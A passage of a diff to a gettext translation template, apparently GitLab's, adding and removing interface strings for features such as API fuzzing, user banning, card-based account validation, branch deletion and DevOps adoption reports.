msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2330,9 +2350,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2420,6 +2431,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2570,6 +2605,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5004,6 +5069,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5298,6 +5402,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5307,6 +5414,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5328,12 +5441,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5367,6 +5486,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5379,6 +5501,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5580,15 +5720,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,7 +6433,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6674,72 +6817,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7370,9 +7444,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7610,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7625,9 +7690,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9343,6 +9420,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9376,6 +9456,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9703,27 +9786,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11819,9 +11932,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,13 +12118,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
